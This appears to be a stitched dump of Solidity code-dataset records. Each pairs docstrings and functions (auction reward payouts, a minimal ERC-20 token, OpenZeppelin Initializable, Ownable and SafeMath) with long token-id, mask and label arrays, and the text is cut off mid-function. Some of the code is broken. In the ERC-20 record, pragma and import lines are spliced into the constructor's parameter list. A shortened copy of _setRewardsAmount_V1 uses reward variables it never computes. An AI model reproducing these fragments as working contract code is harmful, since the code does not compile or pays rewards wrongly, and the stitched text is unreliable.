_delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), currentLeader, bidRewardsSponsorAddress[_bidRewardsIndex], currency.contractAddress, currency.id, _rewardBidSponsorAmount, false, abi.encodePacked(AUCTION_TRANSFER_REWARDS_BID_SPONSOR) ); } } } } /// @notice internal set bid auctioneer rewards amount from time leading /// @param auctionId bytes32 /// @param bidRewardsAuctioneerLength uint256 /// @param bidRewardsAuctioneerAddress address[] /// @param bidRewardsAuctioneerTimeLeading uint32[] function _setBidRewardsAuctioneerAmount_V1( bytes16 auctionId, uint256 bidRewardsAuctioneerLength, address[] memory bidRewardsAuctioneerAddress, uint32[] memory bidRewardsAuctioneerTimeLeading ) internal { uint _bidRewardsIndex; uint256 _rewardBidAuctioneerTimeLeadingSum; // if number of auctioneer rewards greater then zero if (bidRewardsAuctioneerLength > 0) { Token memory currency = _getAuctionCurrency_V1(auctionId); address currentLeader = getAuctionCurrentLeader_V1(auctionId); // sum of auctioneer time leading for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsAuctioneerLength; _bidRewardsIndex++) { _rewardBidAuctioneerTimeLeadingSum = _rewardBidAuctioneerTimeLeadingSum.add( uint256(bidRewardsAuctioneerTimeLeading[_bidRewardsIndex]) ); } // distribute auctioneer reward amount uint256 _rewardBidAuctioneerAmount; uint256 rewardBidAuctioneerTotalAmount = getAuctionRewardBidAuctioneerAmount_V1(auctionId); for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsAuctioneerLength; _bidRewardsIndex++) { _rewardBidAuctioneerAmount = rewardBidAuctioneerTotalAmount.mul( bidRewardsAuctioneerTimeLeading[_bidRewardsIndex] ).div(_rewardBidAuctioneerTimeLeadingSum); if (_rewardBidAuctioneerAmount > 0) { _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), currentLeader, bidRewardsAuctioneerAddress[_bidRewardsIndex], currency.contractAddress, currency.id, _rewardBidAuctioneerAmount, false, abi.encodePacked(AUCTION_TRANSFER_REWARDS_BID_AUCTIONEER) ); } } } } /// @notice internal set amount from reward's percent /// @param auctionId bytes32 function _setRewardsAmount_V1(bytes16 auctionId, uint256 currentAmount) internal { // calculate amount of community rewards uint256 rewardCommunityAmount = currentAmount.mul(uint256(getAuctionRewardCommunity_V1(auctionId))).div(100); _setAuctionRewardCommunityAmount_V1(auctionId, rewardCommunityAmount); if(rewardCommunityAmount > 0) { Token memory currency = _getAuctionCurrency_V1(auctionId); address currentLeader = getAuctionCurrentLeader_V1(auctionId); // calculate amount of auction sponsor rewards uint256 rewardAuctionSponsorAmount = rewardCommunityAmount.mul(uint256(getAuctionRewardAuctionSponsor_V1(auctionId))).div(100); _setAuctionRewardAuctionSponsorAmount_V1(auctionId, rewardAuctionSponsorAmount); if(rewardAuctionSponsorAmount > 0) { // transfer auction's sponsor rewards _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), currentLeader, getAuctionSponsor_V1(auctionId), currency.contractAddress, currency.id, rewardAuctionSponsorAmount, false, abi.encodePacked(AUCTION_TRANSFER_REWARDS_AUCTION_SPONSOR) ); } // calculate amount of last bid sponsor rewards uint256 rewardLastBidSponsorAmount = rewardCommunityAmount.mul(uint256(getAuctionRewardLastBidSponsor_V1(auctionId))).div(100); _setAuctionRewardLastBidSponsorAmount_V1(auctionId, rewardLastBidSponsorAmount); if(rewardLastBidSponsorAmount > 0) { // transfer last bid sponsor rewards _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), currentLeader, getAuctionLastSponsorForBidder_V1(auctionId, currentLeader), currency.contractAddress, currency.id, rewardLastBidSponsorAmount, false, abi.encodePacked(AUCTION_TRANSFER_REWARDS_LAST_BID_SPONSOR) ); } // calculate amount for all bid's sponsor rewards uint256 rewardBidSponsorAmount = rewardCommunityAmount.mul(uint256(getAuctionRewardBidSponsor_V1(auctionId))).div(100); _setAuctionRewardBidSponsorAmount_V1(auctionId, rewardBidSponsorAmount); // calculate amount of last bid's auctioneer rewards uint256 rewardBidAuctioneerAmount = rewardCommunityAmount.mul(uint256(getAuctionRewardBidAuctioneer_V1(auctionId))).div(100); _setAuctionRewardBidAuctioneerAmount_V1(auctionId, rewardBidAuctioneerAmount); } } /// @notice internal set amount for seller /// @param auctionId bytes32 function _setAmountForSeller_V1(bytes16 auctionId, uint256 currentAmount) internal { // get current amount, do nothing if no bid if (currentAmount == 0) { return; } Token memory currency = _getAuctionCurrency_V1(auctionId); // Get the balance of winner after sended all rewards uint256 sellerAmount = _delegatedGetBalanceLockedERC1155_V1( getAuctionCurrentLeader_V1(auctionId), currency.contractAddress, currency.id, uint256(uint128(auctionId)) ); // Verify if amount for seller is greater or egual than last bidder amount sub community rewards amount require(sellerAmount >= currentAmount.sub(getAuctionRewardCommunityAmount_V1(auctionId)), "seller amount is too lower"); _setAuctionSellerAmount_V1(auctionId, sellerAmount); if(sellerAmount > 0) { // transfer seller's amount _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), getAuctionCurrentLeader_V1(auctionId), getAuctionSeller_V1(auctionId), currency.contractAddress, currency.id, sellerAmount, false, abi.encodePacked(AUCTION_TRANSFER_AMOUNT_TO_THE_SELLER) ); } } /// @notice internal transfer all tokens engaged /// @param auctionId bytes32 /// @param from addresse of seller /// @param to addresse of winner, or seller if no bid function _transferTokens_V1(bytes16 auctionId, address from, address to) internal { // get number of token uint16 numberOfTokens = getAuctionTokensCount_V1(auctionId); // for all tokens engaged for(uint16 index = 0 ; index < numberOfTokens; index++){ Token memory auctionToken = _getAuctionToken_V1(auctionId, index); // transfer token _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), from, to, auctionToken.contractAddress, auctionToken.id, auctionToken.amount, false, abi.encodePacked(AUCTION_TRANSFER_TOKENS) ); } } /// @notice internal lock deposit /// @param from address of owner /// @param tokenContractAddress address of token contract /// @param tokenId uint256 id of token /// @param amount uint256 number of token /// @param lockedFor uin256 identity of locked requested (auctionId) function _delegatedLockDeposit_V1( address from, address tokenContractAddress, uint256 tokenId, uint256 amount, uint256 lockedFor ) internal{ _callInternalDelegated_V1( abi.encodeWithSelector( bytes4(keccak256("internalLockDeposit_V2(address,address,uint256,uint256,uint256)")), from, tokenContractAddress, tokenId, amount, lockedFor ), address(0) ); } /// @notice internal unlock deposit /// @param from address of owner /// @param tokenContractAddress address of token contract /// @param tokenId uint256 id of token /// @param amount uint256 number of token /// @param lockedFor uin256 identity of locked requested (auctionId) function _delegatedUnLockDeposit_V1( address from, address tokenContractAddress, uint256 tokenId, uint256 amount, uint256 lockedFor ) internal{ _callInternalDelegated_V1( abi.encodeWithSelector( bytes4(keccak256("internalUnLockDeposit_V2(address,address,uint256,uint256,uint256)")), from, tokenContractAddress, tokenId, amount, lockedFor ), address(0) ); } /// @notice internal transfer deposit locked /// @param lockedFor uin256 identity of locked requested (auctionId) /// @param from address of owner /// @param to address of receiver /// @param tokenContractAddress address of token contract /// @param tokenId uint256 id of token /// @param amount uint256 number of token /// @param keepLock bool , true if the transfer want to keep tocken locked /// @param data bytes additional data for transfer function _delegatedTransferDepotLocked_V1( uint256 lockedFor, address from, address to, address tokenContractAddress, uint256 tokenId, uint256 amount, bool keepLock, bytes memory data ) internal{ _callInternalDelegated_V1( abi.encodeWithSelector( bytes4(keccak256("internalTransferDepotLocked_V2(uint256,address,address,address,uint256,uint256,bool,bytes)")), lockedFor, from, to, tokenContractAddress, tokenId, amount, keepLock, data ), address(0) ); } /// @notice internal get balance locked /// @param from address of owner /// @param tokenContractAddress address of token contract /// @param tokenId uint256 id of token /// @param lockedFor uin256 identity of locked requested (auctionId) /// @return value uint256 balance of function _delegatedGetBalanceLockedERC1155_V1( address from, address tokenContractAddress, uint256 tokenId, uint256 lockedFor ) internal returns (uint256 value){ uint returnPtr; uint returnSize; (returnPtr, returnSize) = _callDelegated_V1( abi.encodeWithSelector( bytes4(keccak256("getBalanceLockedERC1155_V1(address,address,uint256,uint256)")), from, tokenContractAddress, tokenId, lockedFor ), address(0) ); assembly { value := mload(returnPtr) } return value; } }
@notice internal set amount from reward's percent @param auctionId bytes32 calculate amount of community rewards calculate amount of auction sponsor rewards transfer auction's sponsor rewards transfer last bid sponsor rewards
function _setRewardsAmount_V1(bytes16 auctionId, uint256 currentAmount) internal { uint256 rewardCommunityAmount = currentAmount.mul(uint256(getAuctionRewardCommunity_V1(auctionId))).div(100); _setAuctionRewardCommunityAmount_V1(auctionId, rewardCommunityAmount); if(rewardCommunityAmount > 0) { Token memory currency = _getAuctionCurrency_V1(auctionId); address currentLeader = getAuctionCurrentLeader_V1(auctionId); uint256 rewardAuctionSponsorAmount = rewardCommunityAmount.mul(uint256(getAuctionRewardAuctionSponsor_V1(auctionId))).div(100); _setAuctionRewardAuctionSponsorAmount_V1(auctionId, rewardAuctionSponsorAmount); if(rewardAuctionSponsorAmount > 0) { _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), currentLeader, getAuctionSponsor_V1(auctionId), currency.contractAddress, currency.id, rewardAuctionSponsorAmount, false, abi.encodePacked(AUCTION_TRANSFER_REWARDS_AUCTION_SPONSOR) ); } _setAuctionRewardLastBidSponsorAmount_V1(auctionId, rewardLastBidSponsorAmount); if(rewardLastBidSponsorAmount > 0) { _delegatedTransferDepotLocked_V1( uint256(uint128(auctionId)), currentLeader, getAuctionLastSponsorForBidder_V1(auctionId, currentLeader), currency.contractAddress, currency.id, rewardLastBidSponsorAmount, false, abi.encodePacked(AUCTION_TRANSFER_REWARDS_LAST_BID_SPONSOR) ); } _setAuctionRewardBidSponsorAmount_V1(auctionId, rewardBidSponsorAmount); _setAuctionRewardBidAuctioneerAmount_V1(auctionId, rewardBidAuctioneerAmount); } }
998,934
[ 1, 7236, 444, 3844, 628, 19890, 1807, 5551, 225, 279, 4062, 548, 1731, 1578, 4604, 3844, 434, 19833, 283, 6397, 4604, 3844, 434, 279, 4062, 272, 500, 2467, 283, 6397, 7412, 279, 4062, 1807, 272, 500, 2467, 283, 6397, 7412, 1142, 9949, 272, 500, 2467, 283, 6397, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 542, 17631, 14727, 6275, 67, 58, 21, 12, 3890, 2313, 279, 4062, 548, 16, 2254, 5034, 783, 6275, 13, 2713, 288, 203, 203, 3639, 2254, 5034, 19890, 12136, 13352, 6275, 273, 783, 6275, 18, 16411, 12, 11890, 5034, 12, 588, 37, 4062, 17631, 1060, 12136, 13352, 67, 58, 21, 12, 69, 4062, 548, 3719, 2934, 2892, 12, 6625, 1769, 203, 3639, 389, 542, 37, 4062, 17631, 1060, 12136, 13352, 6275, 67, 58, 21, 12, 69, 4062, 548, 16, 19890, 12136, 13352, 6275, 1769, 203, 203, 3639, 309, 12, 266, 2913, 12136, 13352, 6275, 405, 374, 13, 203, 3639, 288, 203, 203, 5411, 3155, 3778, 5462, 273, 389, 588, 37, 4062, 7623, 67, 58, 21, 12, 69, 4062, 548, 1769, 203, 5411, 1758, 783, 15254, 273, 4506, 4062, 3935, 15254, 67, 58, 21, 12, 69, 4062, 548, 1769, 203, 203, 5411, 2254, 5034, 19890, 37, 4062, 55, 500, 2467, 6275, 273, 19890, 12136, 13352, 6275, 18, 16411, 12, 11890, 5034, 12, 588, 37, 4062, 17631, 1060, 37, 4062, 55, 500, 2467, 67, 58, 21, 12, 69, 4062, 548, 3719, 2934, 2892, 12, 6625, 1769, 203, 5411, 389, 542, 37, 4062, 17631, 1060, 37, 4062, 55, 500, 2467, 6275, 67, 58, 21, 12, 69, 4062, 548, 16, 19890, 37, 4062, 55, 500, 2467, 6275, 1769, 203, 203, 5411, 309, 12, 266, 2913, 37, 4062, 55, 500, 2467, 6275, 405, 374, 13, 203, 5411, 288, 203, 7734, 389, 3771, 1332, 690, 5912, 758, 13130, 8966, 67, 58, 21, 12, 203, 10792, 2254, 5034, 12, 2 ]
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.7; import {IERC20} from "./interfaces/IERC20.sol"; /** * @title Modern and gas efficient ERC-20 implementation. * @dev Code taken from https://github.com/maple-labs/erc20 * @dev Acknowledgements to Solmate, OpenZeppelin, and DSS for inspiring this code. */ contract ERC20 is IERC20 { string public override name; string public override symbol; uint8 public immutable override decimals; uint256 public override totalSupply; mapping(address => uint256) public override balanceOf; mapping(address => mapping(address => uint256)) public override allowance; constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; } /**************************/ /*** External Functions ***/ /**************************/ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external override returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferFrom( address owner, address recipient, uint256 amount ) external override returns (bool) { _approve(owner, msg.sender, allowance[owner][msg.sender] - amount); _transfer(owner, recipient, amount); return true; } /**************************/ /*** Internal Functions ***/ /**************************/ function _approve( address owner, address spender, uint256 amount ) internal { emit Approval(owner, spender, allowance[owner][spender] = amount); } function _transfer( address owner, address recipient, uint256 amount ) internal { balanceOf[owner] -= amount; balanceOf[recipient] += amount; emit Transfer(owner, recipient, amount); } function _mint(address recipient, uint256 amount) internal { totalSupply += amount; balanceOf[recipient] += amount; emit Transfer(address(0), recipient, amount); } function _burn(address owner, uint256 amount) internal { balanceOf[owner] -= amount; totalSupply -= amount; emit Transfer(owner, address(0), amount); } }
* @title Modern and gas efficient ERC-20 implementation. @dev Acknowledgements to Solmate, OpenZeppelin, and DSS for inspiring this code./
contract ERC20 is IERC20 { string public override name; string public override symbol; uint8 public immutable override decimals; uint256 public override totalSupply; mapping(address => uint256) public override balanceOf; mapping(address => mapping(address => uint256)) public override allowance; constructor( string memory _name, string memory _symbol, uint8 _decimals pragma solidity ^0.8.7; import {IERC20} from "./interfaces/IERC20.sol"; ) { name = _name; symbol = _symbol; decimals = _decimals; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external override returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferFrom( address owner, address recipient, uint256 amount ) external override returns (bool) { _approve(owner, msg.sender, allowance[owner][msg.sender] - amount); _transfer(owner, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) internal { emit Approval(owner, spender, allowance[owner][spender] = amount); } function _transfer( address owner, address recipient, uint256 amount ) internal { balanceOf[owner] -= amount; balanceOf[recipient] += amount; emit Transfer(owner, recipient, amount); } function _mint(address recipient, uint256 amount) internal { totalSupply += amount; balanceOf[recipient] += amount; emit Transfer(address(0), recipient, amount); } function _burn(address owner, uint256 amount) internal { balanceOf[owner] -= amount; totalSupply -= amount; emit Transfer(owner, address(0), amount); } }
1,757,939
[ 1, 1739, 8865, 471, 16189, 14382, 4232, 39, 17, 3462, 4471, 18, 565, 22322, 10378, 75, 17110, 358, 348, 355, 81, 340, 16, 3502, 62, 881, 84, 292, 267, 16, 471, 463, 1260, 364, 316, 1752, 11256, 333, 981, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 353, 467, 654, 39, 3462, 288, 203, 565, 533, 1071, 3849, 508, 31, 203, 565, 533, 1071, 3849, 3273, 31, 203, 203, 565, 2254, 28, 1071, 11732, 3849, 15105, 31, 203, 203, 565, 2254, 5034, 1071, 3849, 2078, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 3849, 11013, 951, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 1071, 3849, 1699, 1359, 31, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 16, 203, 3639, 2254, 28, 389, 31734, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 27, 31, 203, 5666, 288, 45, 654, 39, 3462, 97, 628, 25165, 15898, 19, 45, 654, 39, 3462, 18, 18281, 14432, 203, 565, 262, 288, 203, 3639, 508, 273, 389, 529, 31, 203, 3639, 3273, 273, 389, 7175, 31, 203, 3639, 15105, 273, 389, 31734, 31, 203, 565, 289, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 389, 12908, 537, 12, 3576, 18, 15330, 16, 17571, 264, 16, 3844, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 389, 13866, 12, 3576, 18, 15330, 16, 358, 2 ]
./partial_match/1/0x1955D86f5b369Be4581Fb2D346B403d362883aC7/sources/EmployeeIDBadges.sol
* completeInitialization1 sets up the CIG factory worker traits/ new traits/
function completeInitialization1(AttInit[] calldata _atts) external { require(msg.sender == curator, "only curator"); for (uint256 i = 0; i < _atts.length; i++) { atts[_atts[i].k] = Attribute(_atts[i].isType, bytes(_atts[i].value)); } }
3,590,561
[ 1, 6226, 17701, 21, 1678, 731, 326, 385, 3047, 3272, 4322, 18370, 19, 394, 18370, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3912, 17701, 21, 12, 3075, 2570, 8526, 745, 892, 389, 270, 3428, 13, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 662, 639, 16, 315, 3700, 662, 639, 8863, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 270, 3428, 18, 2469, 31, 277, 27245, 288, 203, 5411, 15687, 63, 67, 270, 3428, 63, 77, 8009, 79, 65, 273, 3601, 24899, 270, 3428, 63, 77, 8009, 291, 559, 16, 1731, 24899, 270, 3428, 63, 77, 8009, 1132, 10019, 203, 3639, 289, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-11-15 */ // File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a 